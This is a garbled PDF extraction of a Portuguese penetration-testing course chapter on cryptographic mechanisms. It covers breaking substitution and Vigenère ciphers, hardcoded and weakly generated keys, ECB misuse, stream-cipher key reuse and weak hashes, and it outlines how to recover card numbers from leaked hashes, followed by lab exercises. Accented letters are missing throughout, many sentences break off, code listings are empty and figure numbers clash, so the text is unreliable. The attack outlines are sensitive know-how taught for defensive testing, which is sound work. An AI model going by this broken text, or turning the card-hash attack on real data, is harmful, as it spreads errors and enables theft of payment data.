Frequncias indi- ltima linha do grfico, conclui-se que elas so os mapeamentos de e, t e a, respectiva-
viduais das letras
do texto cifrado mente. Desse modo, deve-se proceder substituio de G por e, D por t e Q por a,
comparadas com as conforme ilustrado na Figura 9.21, a qual est dividida em tabela de mapeamento de
da lngua inglesa. deciframento, texto em claro parcial e texto cifrado.
431
Figura 9.21
Anlise de frequn-
cias (1/11) - substi-
tuio de G, D e
Q por e, t e a,
respectivamente.
Observem-se as partes marcadas em vermelho na figura acima. Tudo indica que t*e
corresponde palavra the e, portanto, todas as ocorrncias de S, no texto cifrado, devem
ser substitudas pela letra h (vide Figura 9.22). Um problema destacado por esta ilustrao
a palavra ta, circundada no quadro, a qual no usual na lngua inglesa. Como a letra t
parece ter sido corretamente mapeada, uma vez que ela faz parte do texto legvel recupe-
rado, a troca de Q por a foi aparentemente equivocada. Assim, essa substituio deve ser
cancelada, obtendo-se o exposto na Figura 9.23.
Figura 9.22
Anlise de frequn-
cias (2/11); substitui-
o de S por h.
Teste de Invaso de Aplicaes Web
Figura 9.23
Anlise de fre-
quncias (3/11);
cancelamento da
substituio de
Q por a.
432
Considerando-se que o mapeamento de Q por a no foi acertado, deve-se escolher outra
letra candidata. A partir de t*, fcil inferir que o melhor substituto para Q a letra o.
Uma evidncia adicional para confirmar esta hiptese que a letra com frequncia mais
prxima de Q, que no o a, justamente a letra o (vide Figura 9.20). Efetuando-se esta
troca, alcana-se a situao exibida na Figura 9.24.
Figura 9.24
Anlise de frequn-
cias (4/11) - substi-
tuio de Q por o.
Figura 9.25
Anlise de frequn-
cias (5/11) - substi-
tuio de P por f
Captulo 9 - Mecanismos criptogrficos
e de B por r.
Vamos agora focar a ateno na sequncia *t, que pode ser substituda por it e at. Para
definir a palavra mais provvel, repetimos o procedimento de anlise das frequncias e
encontramos que J, com 8%, est mais prximo de a, com 8,2%, do que de i, com 7,0%.
Aps a troca dos Js por as, atinge-se a situao ilustrada na Figura 9.26, na qual esto
ressaltadas as palavras parciais a** e *a*, que correspondem, respectivamente, a JUL e
CJU. Para a primeira, possvel pensar em and e are, mas esta descartada porque r e
e so letras do alfabeto original j mapeadas. Supondo que as trocas de U por n e de L
por d estejam corretas, CJU torna-se *an, que pode ser man ou can. Novamente, pela
tabela de ocorrncias, opta-se pelo mapeamento de C para c.
433
Figura 9.26
Anlise de frequn-
cias (6/11) - substi-
tuio de J por a.
Figura 9.27
Anlise de frequn-
cias (7/11) - substi-
tuio de C, L e
U por c, d e n,
respectivamente.
M g y devem ser efetuadas. Finalmente, a partir da Figura 9.30, basta trocar O por k,
E por v e V por W, para completarmos o texto legvel, representado integralmente na
Figura 9.31.
Teste de Invaso de Aplicaes Web
Figura 9.28
Anlise de frequn-
cias (8/11) - substi-
tuio de X, Y e
I por p, s, e m,
respectivamente.
434
Figura 9.29
Anlise de frequn-
cias (9/11) - substi-
tuio de F, T e
A por i, g e l,
respectivamente.
Figura 9.30
Anlise de frequn-
cias (10/11) - subs-
tituio de R, Z,
H, W e M por
b, x, q, u e y,
respectivamente.
Figura 9.31
Anlise de frequn-
cias (11/11) - texto
original recuperado
(Simon Singh).
Cifra de Vigenre
A cifra de Vigenre um algoritmo de substituio polialfabtico que utiliza, ciclica- q
Captulo 9 - Mecanismos criptogrficos
mente, t mapeamentos da cifra de deslocamento, especificados por uma chave K = k1k2 ...
k t. Pode-se imaginar que o ciframento opera sobre grupos de t letras, de modo que cada
posio da chave descreve a transformao que deve ocorrer na posio correspon-
dente de cada grupo.
Em outras palavras, k1 afeta o primeiro elemento de todos os grupos, k2, o segundo, e assim
por diante. Graas a isso, um smbolo que se repete no texto em claro pode ser mapeado
para smbolos diferentes no texto cifrado, se cada instncia for protegida por um ki distinto.
Como na poca em que era utilizado, o algoritmo era executado manualmente, as pessoas
se apoiavam na Tabela de Vigenre, representada na Figura 9.32, para auxiliar nos processos
435
de ciframento e de deciframento. Por exemplo, para cifrar a letra g com a subchave U,
basta selecionar o caractere presente na interseco da linha iniciada com U com a coluna
g, ou seja, a letra A. Analogamente, para decifrar V com a subchave H, deve-se per-
correr a linha H at encontrar a letra V e selecionar o smbolo que est na primeira linha
da mesma coluna, isto , o caractere o.
Para um exemplo completo, considere-se o ciframento do texto outro porto longe daqui Figura 9.32
com a chave PENTEST, de sete caracteres de comprimento. A primeira letra da mensagem Tabela de Vigenre.
mapeada de acordo com a linha da tabela de Vigenre que inicia com a letra P. Esta
mesma transformao aplicada a todo caractere que esteja a uma distncia mltipla do
tamanho da chave (no caso, sete) do primeiro elemento. Isto equivalente a dividir o texto
legvel em blocos de tamanho sete e aplicar o mapeamento descrito pela primeira letra da
chave primeira posio de cada bloco. O processo de ciframento com as demais letras da
chave realizado de maneira similar, resultando no texto cifrado exibido na Figura 9.33.
H dois aspectos muito importantes que devem ser observados nesse exemplo, que auxi-
Teste de Invaso de Aplicaes Web
O primeiro deles que os smbolos do texto cifrado, que ocupam a mesma posio nos q
diversos blocos, constituem a sada de uma cifra monoalfabtica, uma vez que foram
todos cifrados com chave idntica.
436
Note-se, por exemplo, que na Figura 9.33, a letra o mapeada para D, S, H e B. q
Como a chave escolhida utiliza cinco letras distintas, qualquer letra do texto em claro
pode ser cifrada, no mximo, de cinco maneiras diferentes.
Chave P E N T E S T P E N T E S T P E N T E S
Texto em claro o u t r o p o r t o l o n g e d a q u i
Texto cifrado D Y G K S H H G X B E S F Z T H N J Y A
Figura 9.33 O mtodo utilizado para quebrar a cifra de Vigenre, que ser descrito a seguir, foi q
Exemplo de uso da introduzido por Charles Babbage, gnio ingls que nasceu no final do sculo XVIII e
cifra de Vigenre.
considerado o pai do primeiro computador da histria (Singh, 1999). Parte da tcnica,
tambm atribuda a Kasiski, est contida na explicao do pargrafo anterior e consiste
em se analisar separadamente cada uma das cifras de deslocamento utilizadas, com um
dos mtodos j conhecidos.
Para que isso possa ser realizado, porm, falta saber o tamanho da chave empregada, sem o
qual, no possvel delimitar os grupos de letras que foram cifrados com a mesma subchave.
Note-se que o nmero de maneiras diferentes pelo qual uma palavra pode ser cifrada por
Vigenre exatamente o tamanho da chave, que neste caso quatro. Por consequncia, se
houver mais de cinco ocorrncias de ano, certamente, haver repetio de um dos poss-
veis textos cifrados para essa palavra (CNG, AFO, SNQ e APO).
437
Figura 9.35, cujo original est em ingls, o primeiro passo determinar o tipo de cifra que foi
utilizada na proteo da mensagem. Calculando-se o ndice de coincidncia, obtm-se o
valor 0,0397, o qual, por ser muito prximo de IC A (conforme esperado), indica que uma cifra
polialfabtica foi empregada. Supondo que esta seja a cifra de Vigenre, o prximo passo
determinar o tamanho da chave escolhida. Para isso, precisamos encontrar todas as
repeties de sequncias de letras, calcular a distncia entre as ocorrncias, e determinar os
comprimentos de chave possveis, a partir da fatorao do valor encontrado. O resultado
desta etapa est ilustrado na Figura 206.
Figura 9.35
BHGVSZGJQPHAOMTSHGNZZNFBCJVQZAZTVQYLTJMQNNKASNNIBZZCJMDYOCE- Texto cifrado
ZSDGZQZLNQQJSKHPUIEBFWEQNLGEIOLWMCVEMEDMRLATPTRSGTQBAUAEFN- com o algoritmo
FQYLOPICFIUMOULCBQTROQYFCQZYJRQNEMEUBFIIQPPBAUIHNZGVPIONLXFNYQE- de Vigenre.
MAHINJLKSPBRKVVQEFXLWCJUPSTCVOFMQAEUIVMZZSGFAWEUATTNQDPWHKAD-
MOWTOJRUELXFNCYLAEWLWSGJCTWPKWTAMIWQTGICXAPLEFTVMCXHKAEMIESM-
TOVAHJRGXLYCJMOFNFKZGBNMOFNFETYHQVPMAPLSJLGIYYOPICTUIPDYIESH- Figura 9.36
MINMHNTJBSJOVPPWHGPPQDQCEMIUJLYTGZPIHCBQTRCTXX Sequncias de
caracteres repeti-
das encontradas
no texto cifrado e
possveis tamanhos
de chave.
Teste de Invaso de Aplicaes Web
438
fcil observar, na tabela de repeties, que o tamanho mais provvel de chave cinco, pois
a coluna que possui quase todas as linhas marcadas. Somente as ocorrncias de LXF,
XFN e LXFN, pertencentes mesma sequncia, no esto separadas por uma distncia
mltipla de cinco, indicando uma provvel coincidncia, que no invalida a hiptese original.
A partir do tamanho encontrado, necessrio trabalhar sobre cinco cifras de deslocamento
distintas, cujos agrupamentos de letras so definidos pelas posies em cada bloco de cinco
elementos. Desse modo, todos os smbolos que ocupam a primeira posio formam um
grupo; todos na segunda, outro, e assim por diante, at os elementos da quinta posio.
A Figura 9.37 mostra o grupo formado pelos elementos que esto na primeira posio de cada
bloco. Ao realizar a anlise de frequncias sobre essas letras e compar-las com a frequncia
da lngua inglesa, obtm-se os histogramas apresentados na Figura 9.38(a). Lembre-se de que
a cifra de deslocamento, simplesmente, rotaciona o alfabeto em k posies. Com isso, a trans-
formao que causa no texto faz com que as frequncias individuais das letras sejam transfe-
ridas para outras, como esperado, mas respeitando-se a ordem que ocupam no alfabeto.
Graficamente, isto implica que o histograma do texto em claro rotacionado o mesmo nmero
de posies que o alfabeto. Considerando que, estatisticamente, a distribuio das letras origi-
nais deve ser semelhante do idioma, basta alinhar os histogramas para revelar o mapeamento
utilizado. Uma dica para a lngua inglesa basear a tarefa nos picos das letras A e E, que cos-
tumam se destacar das demais. A Figura 9.38(b) ilustra o alinhamento realizado para o exemplo
em estudo, o qual, aplicado Figura 9.37, resulta no texto decifrado da Figura 9.39.
Figura 9.37
Grupo formado
pelos caracteres
que ocupam a
primeira posio
de cada bloco.
Captulo 9 - Mecanismos criptogrficos
439
Figura 9.38
Anlise de
frequncias do
grupo formado
pelos elementos
que ocupam a
primeira posio
nos blocos: (a)
Histogramas
originais. (b)
Histograma da
primeira posio
alinhado ao do
idioma.
(a) (b)
Figura 9.39
Substituio
dos smbolos
da primeira
posio, segundo
mapeamento
ilustrado na
Figura 9.38(b).
Figura 9.40
Grupo formado
pelos caracteres
que ocupam a
segunda posio de
cada bloco.
Figura 9.41
Anlise de
frequncias do
grupo formado
pelos elementos
que ocupam a
segunda posio
nos blocos: (a)
Histogramas
originais. (b)
Histograma da
segunda posio
alinhado ao
do idioma.
Teste de Invaso de Aplicaes Web
(a) (b)
Figura 9.42
Substituio
dos smbolos da
segunda posio,
segundo mapea-
mento ilustrado na
Figura 9.41(b).
440
Figura 9.43
Grupo formado pe-
los caracteres que
ocupam a terceira
posio de
cada bloco.
Figura 9.44
Anlise de
frequncias do
grupo formado
pelos elementos
que ocupam a
terceira posio
nos blocos: (a)
Histogramas
originais. (b)
Histograma da
terceira posio
alinhado ao do
idioma.
(a) (b)
Figura 9.45
Substituio dos
smbolos da terceira
posio, segundo
mapeamento ilus-
trado na
Figura 9.44(b).
Figura 9.46
Grupo formado
pelos caracteres
que ocupam a
quarta posio de
cada bloco.
Figura 9.47
Anlise de
frequncias do
grupo formado
Captulo 9 - Mecanismos criptogrficos
pelos elementos
que ocupam a
quarta posio
nos blocos: (a)
Histogramas
originais. (b)
Histograma da
quarta posio
alinhado ao
do idioma.
(a) (b)
441
Figura 9.48
Substituio dos
smbolos da quarta
posio, segundo
mapeamento ilus-
trado na
Figura 9.47(b).
Figura 9.49
Grupo formado
pelos caracteres
que ocupam a
quinta posio de
cada bloco.
Figura 9.50
Anlise de
frequncias do
grupo formado
pelos elementos
que ocupam a
quinta posio
nos blocos: (a)
Histogramas
originais. (b)
Histograma da
quinta posio
alinhado ao
do idioma.
(a) (b)
Figura 9.51
Substituio dos
smbolos da quinta
posio, segundo
mapeamento
ilustrado na Figura
9.50(b), e incluso
de espaos para
separao de
palavras. O texto
recuperado
um trecho da
Roteiro geral de teste estria The Model
q
Millionaire de
Quando no processo de teste de invaso for encontrada informao inelegvel, porm Oscar Wilde.
textual, deve-se tentar criptoanalis-la, sob a premissa de ter sido protegida por uma
Teste de Invaso de Aplicaes Web
3. Seno, se o ndice de coincidncia for prximo a IC A , uma cifra polialfabtica foi utilizada:
442
Exerccio de nivelamento 2 e
Chave criptogrfica
Voc j embutiu uma chave criptogrfica em algum programa ou script que tenha desenvolvido?
#include <stdio.h>
int main() {
...
...
Considere-se que o programa compilado, gerando o binrio cifra, e, por esta razo, o q
desenvolvedor, inocentemente, julga que a chave est protegida de acessos ilegtimos.
O usurio mal intencionado, ao obter o programa, executa imediatamente o comando
strings do Linux sobre o binrio, gerando a sada:
/lib/ld-linux.so.2
#IB
_ _gmon_start_ _
libc.so.6
_IO_stdin_used
puts
_ _libc_start_main
Captulo 9 - Mecanismos criptogrficos
GLIBC_2.0
PTRh
0a3b
c178
940f
d430
4702
443
7cda
8074
09af
[^_]
Este exemplo ilustra um caso simples de extrao de chaves, no qual nenhum mecanismo
sequer foi utilizado para proteg-la. Mesmo que isto ocorresse, a prtica de embutir
segredos no cdigo no recomendvel, pois, cedo ou tarde, uma pessoa habilidosa con-
segue realizar a engenharia reversa e obter a informao desejada.
Em outras palavras, a utilizao de uma chave de n bits, criada dessa maneira, implica que,
por adivinhao, a chance de um palpite qualquer ser correto de 1/2n. Considerando
chaves de 128 bits, tamanho comum utilizado atualmente, mais fcil uma pessoa acertar
diversas vezes na loteria do que recuperar a chave certa por meio de escolhas aleatrias.
Considere-se que em um teste de invaso, o seguinte cdigo Java tenha sido obtido, em um
dos diretrios do servidor. Ao que tudo indica, ele utilizado na gerao de chaves cripto-
grficas de comprimento arbitrrio. Com base no exposto, que problemas ele possui?
01 import java.util.Random;
02
444
05
09
13 chave[i] = (byte)random.nextInt(10);
14 }
15 return chave;
16 }
17 }
Logo na primeira linha, percebe-se que o programa utiliza a classe Random, a qual,
se sabe, no implementa um gerador criptogrfico de nmeros pseudo-aleatrios. O
uso dela pode ser observado nas linhas 04 e 13, responsveis, respectivamente, pela
criao de um objeto Random e pela atribuio de um valor inteiro entre 0 e 9 i-sima
posio do vetor chave. Este passo apresenta um problema adicional, relacionado
cardinalidade do conjunto a partir do qual a chave selecionada. Uma chave de 128 bits,
por exemplo, corresponde a 16 bytes e, pelo programa, cada posio recebe um valor
dentre 10 possveis. Desse modo, o total de chaves diferentes que podem ser geradas
NIST
de 1016 = 10.000.000.000.000.000. Este nmero apenas uma nfima parcela do espao
National Institute fornecido por 128 bits, cujo total de elementos 2128 = 340.282.366.920.938.463.463.374.
of Standards and 607.431.768.211.456. Consequentemente, um ataque de busca exaustiva de chaves neste
Technology cenrio possui um custo muito menor que o terico.
uma agncia do
Departamento de
Comrcio dos Estados Emprego de modo de operao inadequado
q
Unidos, fundada em
1901, com o objetivo de Como vimos, cifras de bloco dividem o texto em claro em blocos de tamanho fixo e
promover a inovao aplicam a mesma transformao, parametrizada pela chave, a cada um deles. Modos de
e competitividade
industrial, por meio da operao definem a maneira como esses blocos so encadeados no processo de cifra-
definio de padres mento da mensagem inteira.
Captulo 9 - Mecanismos criptogrficos
tecnolgicos para as
mais diversas reas. Existem diversos modos, como os especificados no documento NIST SP800-38A (Dworking,
2001), e todos eles apresentam especificidades, que devem ser consideradas em uma
soluo para evitar a introduo de vulnerabilidades no sistema. Neste texto, focaremos
apenas os modos ECB e CBC, comparando as respectivas propriedades e como devem ser
adequadamente utilizados.
O modo Electronic Code Book (ECB) o mais simples existente e consiste em cifrar cada q
bloco de texto em claro individualmente com a mesma chave.
445
A Figura 9.52 ilustra o processo de ciframento, em modo ECB, de uma mensagem m con-
tendo t blocos de n bits. O processo de deciframento, que similar, est representado na
Figura 9.53. Nas ilustraes, E, E -1, K e c denotam, respectivamente, a funo de ciframento, a
funo de deciframento, a chave empregada e a mensagem cifrada.
Figura 9.52
Modo de operao
ECB - Ciframento.
Figura 9.53
Modo de operao
ECB - Deciframento.
A primeira propriedade implica que o modo ECB no deve ser utilizado quando a men- q
sagem a ser protegida maior que o tamanho do bloco da cifra empregada. Quando isto
violado, o texto cifrado revela informaes sobre a mensagem original, as quais podem
ser suficientes para o objetivo do atacante ou auxiliar no processo de criptoanlise.
embora as cores no sejam nada parecidas, a informao carregada pela imagem original
est presente na segunda. Se esta fosse uma foto pornogrfica apreendida em um compu-
tador corporativo, saber o real contedo dela, mesmo com cores distorcidas, seria suficiente
para aplicar uma punio ao colaborador.
446
Figura 9.54
A imagem direita
o resultado do
ciframento, em
modo ECB,
da outra.
Pode-se dizer que uma cifra operando em modo ECB uma cifra de substituio simples, mas
baseada em um alfabeto muito maior que o romano. Dessa maneira, o texto cifrado mantm
a redundncia da mensagem original, o que pode ser facilmente verificado por um teste
que verifica o quanto a informao pode ser compactada. Nveis de compactao maiores
implicam que h muita repetio de valores na mensagem de entrada, o que um bom indica-
tivo de que um modo de operao inadequado foi utilizado. A razo para isso que um texto
cifrado devidamente gerado deve ser indistinguvel de uma sequncia aleatria de valores.
No exemplo acima, foi possvel compactar a figura cifrada a 3,7% do tamanho original.
O modo Cipher Block Chaining (CBC) pode ser empregado para suprir a deficincia do q
modo ECB na proteo de mensagens longas.
A ideia desse modo combinar, por meio do operador XOR, o ltimo bloco cifrado com o
bloco de texto em claro atual, antes de aplicar a funo de ciframento. Isto tem por obje-
tivo alterar blocos em claro idnticos, de modo que entradas diferentes sejam fornecidas
para a cifra utilizada.
O funcionamento do CBC est ilustrado na Figura 9.55 e Figura 9.56. Perceba-se que, para
cifrar m1, no h um bloco cifrado anterior e, assim, um valor inicial, chamado de IV, deve ser
fornecido. Embora no seja necessrio manter o sigilo do IV, a integridade dele funda-
mental para decifrar corretamente o primeiro bloco.
1 Cada bloco cifrado cj depende de mj e de todos os blocos anteriores (m1 a mj-1), que so
consolidados em cj-1. Por este motivo, uma alterao na ordem dos blocos cifrados
afeta o processo de deciframento.
Captulo 9 - Mecanismos criptogrficos
447
Figura 9.55
Modo de operao
CBC - Ciframento.
Figura 9.56Figura
9.56 Modo de
operao CBC -
Deciframento.
Figura 9.57
Ciframento em
modo CBC da
imagem ilustrada na
Figura 224.
que no h nenhuma relao visvel entre a imagem original e a cifrada, que mais parece um
canal de TV no sintonizado. Por meio desse exemplo, fica claro que mensagens maiores
que o tamanho do bloco utilizado pelo criptossistema devem ser cifradas com o modo CBC,
em vez do ECB.
448
Exerccio de fixao 3 e
ECB
Por que o modo de operao ECB no adequado para mensagens com tamanho maior que
o tamanho do bloco da cifra utilizada?
Nesta seo, sero examinados os casos de repetio de chaves em cifras de fluxo e uso de
primitiva criptogrfica incorreta para satisfazer a um requisito de segurana da informao.
Cifras de fluxo
Cifras de fluxo aditivas e binrias so cifras sncronas, isto , geram o fluxo de chaves q
independentemente dos textos em claro e cifrado. Alm disso, conforme ilustrado na
Figura 9.58, elas operam diretamente com bits e utilizam o operador XOR, para combinar
a entrada com o fluxo de chaves. Como ele gerado em funo apenas da chave inicial,
quando esta repetida, o mesmo fluxo obtido.
K K
Figura 9.58 zi zi
Modelo geral de
cifras de fluxo aditi- m ci c mi
i i
vas e binrias.
1 Comutatividade: a b = b a.
1 Associatividade: (a b) c = a (b c).
Captulo 9 - Mecanismos criptogrficos
1 Elemento neutro: a 0 = a.
1 Elemento inverso: a a = 0.
Com esses conceitos em mente, observe-se, agora, como o uso de uma mesma chave, q
em cifras de fluxo aditivas e binrias, pode comprometer a segurana das informaes:
449
1 c1 c2 = (m1 z) (m2 z) = m1 m2 z z = m1 m2 0 = m1 m2
A partir disso, possvel realizar uma anlise estatstica, com base na redundncia do q
idioma, para recuperar as mensagens originais.
1 ci mi = (mi z) mi = mi mi z = 0 z = z
1. Um usurio malicioso descobre que possvel realizar a cpia integral da base de dados
do sistema, por meio de uma vulnerabilidade em um dos campos da interface.
2. Em uma das tabelas, ele identifica nmeros de carto de crdito protegidos por uma cifra
de fluxo aditiva e binria.
3. O atacante realiza uma compra na loja virtual, com carto prprio, para conseguir o texto
em claro de um valor cifrado.
Todas as mensagens trocadas entre eles eram transportadas por um agente duplo, que as
entregava, tambm, para Sir Walsingham, responsvel pela segurana da rainha. Um dos
empregados dele, Thomas Phelippes, era um dos melhores criptoanalistas da Europa e deci-
frava cada mensagem recebida de seu chefe, relativa conspirao supracitada.
Uma delas, enviada por Babbington, propunha levar adiante o plano de assassinato da
rainha, para libertar Mary e torn-la a nova monarca da Inglaterra. Ao saber disso, Walsin-
gham esperou uma resposta de Mary, para poder incrimin-la, e adicionou ao final da carta
um texto forjado, solicitando os nomes das seis pessoas que executariam o plano. Sem a
menor ideia de que o texto no era autntico, Babbington forneceu os nomes das pessoas
Teste de Invaso de Aplicaes Web
450
Embora isto no permita saber o valor original, possibilita quebrar o requisito de integridade
que se esperava satisfazer com a soluo. Novamente, o problema resulta de uma premissa
incorreta quanto ao uso de uma cifra.
Assim como a resistncia da corrente dada pela fora do elo mais fraco, a segurana q
de mecanismos que envolvem criptografia determinada pelo algoritmo menos robusto
que utilizado. Portanto, ao combinar diferentes algoritmos, importante selecion-los
dentre aqueles que apresentam a mesma fora. A partir desse requisito, natural ques-
tionar como se deve medir o nvel de segurana de um criptossistema qualquer. A maneira
mais direta leva em considerao o custo do melhor ataque conhecido; se para execut-lo,
so necessrias 2n operaes, dito que o algoritmo fornece n bits de segurana.
Para exemplificar, considere-se uma aplicao que proteja o transporte de chaves com
RSA-3072, que cifre as informaes dos bancos de dados com Triple-DES com duas chaves
(2-TDES) e que proteja a integridade de dados com SHA-512. O nvel de segurana de cada
algoritmo , respectivamente, 128, 80 e 256 bits. Portanto, a sute adotada de mecanismos
Figura 9.59
Nvel de segurana fornece apenas 80 bits de segurana, o que est na margem do poder computacional exis-
de diversos algo- tente atualmente. Para elevar substancialmente a fora do conjunto, bastaria substituir o
ritmos criptogr-
2-TDES para o AES-128, que passaria a ser o elo mais fraco, juntamente com o RSA-3072.
ficos, em funo
do tamanho da
chave (Barker et
A Figura 9.59 abaixo apresenta exemplos de algoritmos e comprimentos de chave para q
al., 2007). alguns nveis comuns de segurana.
Algoritmos assimtricos
Funes de hash
Nvel de Cifras
Fatorao de Logaritmo Logaritmo criptogrficas
segurana simtricas
inteiros discreto discreto (tamanho do hash)
elptico
451
Exerccio de fixao 4 e
Ataque a algoritmos
Que algoritmo mais difcil de ser atacado: AES com chave de 128 bits ou RSA com chave
de 1024 bits?
No obstante, ainda hoje, encontram-se diversas aplicaes que no respeitam essa pre-
missa bsica e pem em risco as informaes que manipulam.
tambm ser fatorados. Por esse motivo, chaves menores que 1024 bits no devem mais ser
empregadas e uma migrao para tamanhos maiores desejvel.
MD5
O algoritmo teve a propriedade de resistncia a colises quebrada em 2004 por um time
de pesquisadores chineses (Wang e Yu, 2005). Desde ento, foi possvel gerar colises para
arquivos postscript, PDF e executveis e, pior ainda, forjar um certificado vlido para uma
autoridade certificadora intermediria (Stevens, 2009). Este poderoso ataque permite emitir
certificados de chave pblica fraudulentos para pessoas e servidores, viabilizando ataques
de personificao perfeitos.
452
SHA-1
Embora o algoritmo ainda no tenha sido efetivamente quebrado, teve a segurana terica de
80 bits reduzida para apenas 69 bits (Wang, Yin e Yu, 2005). Pouco tempo depois, outro time,
liderado tambm por Wang, descreveu um ataque mais rpido, capaz de gerar uma coliso
em 263 passos (Wang, Yao e Yao, 2005). Por essas razes, recomendvel migrar para a famlia
SHA-2 ou outra funo de hash criptogrfica que no possua nenhuma fraqueza conhecida.
Relembrando o conceito, isso determina que, para essencialmente todos os valores hash Y,
deve ser computacionalmente infactvel encontrar um valor X, tal que h(X) = Y. No presente
contexto, isso significa que, se um atacante obtiver um arquivo de hashes, ele no deve ser
capaz de recuperar as senhas originais, para autenticar-se no sistema.
A segurana deste mecanismo, porm, depende de algumas premissas que nem sempre q
so satisfeitas. A primeira fraqueza resulta da qualidade das senhas escolhidas pelos
usurios, que, comumente, empregam palavras da lngua ou informaes pessoais.
Neste cenrio, um atacante no precisa se preocupar em quebrar a funo de hash crip-
togrfica. Muito mais fcil montar um dicionrio de palavras conhecidas e variaes e
pr-computar os respectivos hashes.
A vantagem deste ataque que o dicionrio pode ser construdo uma nica vez e utilizado
indefinidas vezes.
Para impedir que isso acontea, comum o emprego de salts, que so bits aleatrios q
adicionados ao final de cada senha, antes do clculo do hash.
Como uma pequena alterao em uma entrada faz com que o hash correspondente sofra
uma grande variao, um nico bit de salt inviabiliza que o dicionrio inclua apenas os
hashes das palavras selecionadas, calculados sem o bit adicional (vide Figura 9.60). Note-se
que, para cada bit de salt, o dicionrio deve dobrar de tamanho e, assim, quanto mais bits
forem utilizados, melhor.
santana 97dc75...
Captulo 9 - Mecanismos criptogrficos
+ bit 0 c432da...
Figura 9.60 santana
Uso de salt
em senhas. + bit 1 34df32...
453
Um exemplo disso so senhas bancrias de quatro dgitos numricos, que totalizam apenas
10 mil possibilidades, e podem ser quebradas da seguinte maneira, se hashes forem utili-
zados para proteg-las:
1. O atacante obtm o arquivo contendo os pares (usurio, senha) e, pelo tamanho do hash,
seleciona algumas funes candidatas.
2. Para cada uma das funes candidatas, ele gera uma tabela contendo senha e valor hash,
para todas as dez mil senhas possveis.
3. O usurio malicioso cruza, ento, o arquivo de senhas com as diversas tabelas, por meio
do campo hash, e a correta ser aquela que possuir todos os valores.
q
Algoritmo de Luhn
Um nmero de carto de crdito ou dbito possui de 15 a 16 dgitos, considerando-se Algoritmo utilizado
as bandeiras Visa, Mastecard, American Express, JCB e Discover, que fazem parte do para validar nmeros
de cartes de crdito
conselho PCI. Os seis primeiros dgitos do nmero correspondem ao BIN, responsvel
e de dbito, alm
pela identificao do banco, e o ltimo utilizado como dgito verificador. Considerando de outros nmeros
que a quantidade de bancos em um nico pas no extensa e que a grande maioria de identificao. Foi
criado pelo cientista
das compras realizada com cartes de residentes, o conjunto de BINs aplicveis
da computao Hans
razoavelmente pequeno. Adicionando o fato de que o nmero de carto deve satisfazer Peter Luhn, quando
ao Algoritmo de Luhn, que restringe o dgito verificador para um nico valor por PAN, trabalhava na IBM.
o total de dgitos que devem ser descobertos para um BIN arbitrrio de no mximo
nove. Desse modo, um ataque bem-sucedido contra um nico BIN deve ser capaz de
pr-calcular 1 bilho de hashes, o que est ao alcance de computadores comuns.
Por exemplo, em um Intel Core 2 Duo de 2,4 GHz, o OpenSSL capaz de calcular, aproxima-
damente, 2 milhes de hashes de nmeros de carto por segundo, utilizando-se blocos de
16 bytes. A Figura 9.61 ilustra o tempo em horas necessrio para montar, com o proces-
sador mencionado, um dicionrio que mapeie hashes para nmeros de carto, dependendo
Teste de Invaso de Aplicaes Web
do nmero de dgitos conhecidos. Para o caso de um BIN fixo, a tarefa pode ser executada
em meros 8,4 minutos. No pior cenrio, quando os 6 primeiros e os 4 ltimos dgitos so
armazenados em claro juntamente com o hash do nmero inteiro de carto, quase nenhum
tempo necessrio para executar o ataque.
454
Contramedidas
Um armazenamento seguro de informaes requer a seleo adequada de criptossistemas, q
o gerenciamento das chaves criptogrficas utilizadas e o zelo adequado com a manipulao
de chaves pelos programas (Howard et al., 2005; Meucci et al., 2008). Desse modo:
1 No utilize algoritmos criptogrficos com fraquezas conhecidas, como DES, MD5 (Wang
e Yu, 2005) e SHA-1 (Wang, Yin e Yu, 2005). Embora este ltimo ainda no tenha sido
completamente quebrado, j teve a segurana terica reduzida consideravelmente.
apesar de aceitas para esse propsito pelo PCI DSS (PCI, 2009a). Em vez disso, utilize
cifras simtricas e realize a gesto adequada das chaves criptogrficas empregadas.
455
1 Considere empregar hardware seguro, para realizar as operaes criptogrficas e q
armazenar as chaves relacionadas, quando os dados protegidos forem extrema-
mente sensveis. Parta da mxima de que o software no pode proteger a si prprio
(Howard et al., 2005).
1 Se no for possvel proteger chaves por meio de hardware seguro, utilize protocolos
de partilha de segredos com vrios custodiantes.
1 Limpe a memria alocada para chaves criptogrficas antes de liber-la para o sistema
operacional.
456
Roteiro de Atividades 9
Atividade 1 Vulnerabilidades no transporte de informaes
Esta atividade compreende os testes para deteco de vulnerabilidades no transporte de
informaes. Para inici-la, carregue as mquinas virtuais do aluno e do servidor (Fedora) e
execute os roteiros na primeira delas.
Teste de SSLv2
O teste mais rpido para verificar se um servidor aceita a verso 2.0 do protocolo SSL por
meio da ferramenta OpenSSL:
OpenSSL
THCSSLCheck
7. Execute o comando:
457
8. Role a janela e analise o relatrio gerado. Quais sutes fracas so suportadas?
SSL Scan
Um ponto interessante do SSL Scan que ele exibe, para cada verso de protocolo, as sutes
criptogrficas utilizadas por padro pelo servidor sendo testado:
~$ sslscan exemplo.esr.rnp.br
12. Role a janela e analise o relatrio gerado. Quais as diferenas para a sada do THCSSLCheck?
Este exerccio ilustra que possvel fazer com que os protocolos SSL e TLS no cifrem os
dados que protegem. O roteiro abaixo consiste em um autoataque, mas isso no impor-
tante por se tratar de uma prova de conceito.
2. Clique no primeiro cone da barra de ferramentas, para listar as interfaces de rede dispo-
nveis para captura. Na caixa de dilogo que aparece, clique em Options da linha eth1.
No campo Capture filter, digite tcp port https e clique em Start para iniciar a captura
de pacotes.
GET / HTTP/1.0
Teste de Invaso de Aplicaes Web
10. Inicie nova captura no Wireshark, clicando no terceiro boto da barra de ferramentas
(Start new live capture).
458
12. Na janela de terminal, digite:
13. Repita os Passos 5 a 8 acima, mas, em vez da primeira, procure pela ltima linha, no
Passo 7. Veja que o contedo agora est em claro, apesar de encapsulado por TLS.
Certificado invlido
O propsito desta atividade verificar uma das situaes em que o navegador impossibili-
tado de realizar a negociao SSL/TLS com o servidor, devido a um problema no certificado:
2. Acesse https://exemplo.esr.rnp.br.
4. Encerre o Firefox.
3. Tente, agora, acessar o mesmo endereo pelo protocolo HTTP e observe o que acontece.
Neste caso, o servidor est configurado para redirecionar o usurio para a pgina prote-
gida, evitando que informaes sejam expostas a pessoas no autorizadas.
4. Encerre o Firefox.
~$ cat arquivo.b64
459
3. Decodifique o arquivo com o comando:
~$ base64 -d arquivo.b64
Observe que no necessrio fornecer qualquer segredo para recuperar a mensagem original.
~$ cat arquivo2.b64
~$ cat arquivo2.txt
O arquivo resultante no est legvel e, aparentemente, est protegido por uma cifra de
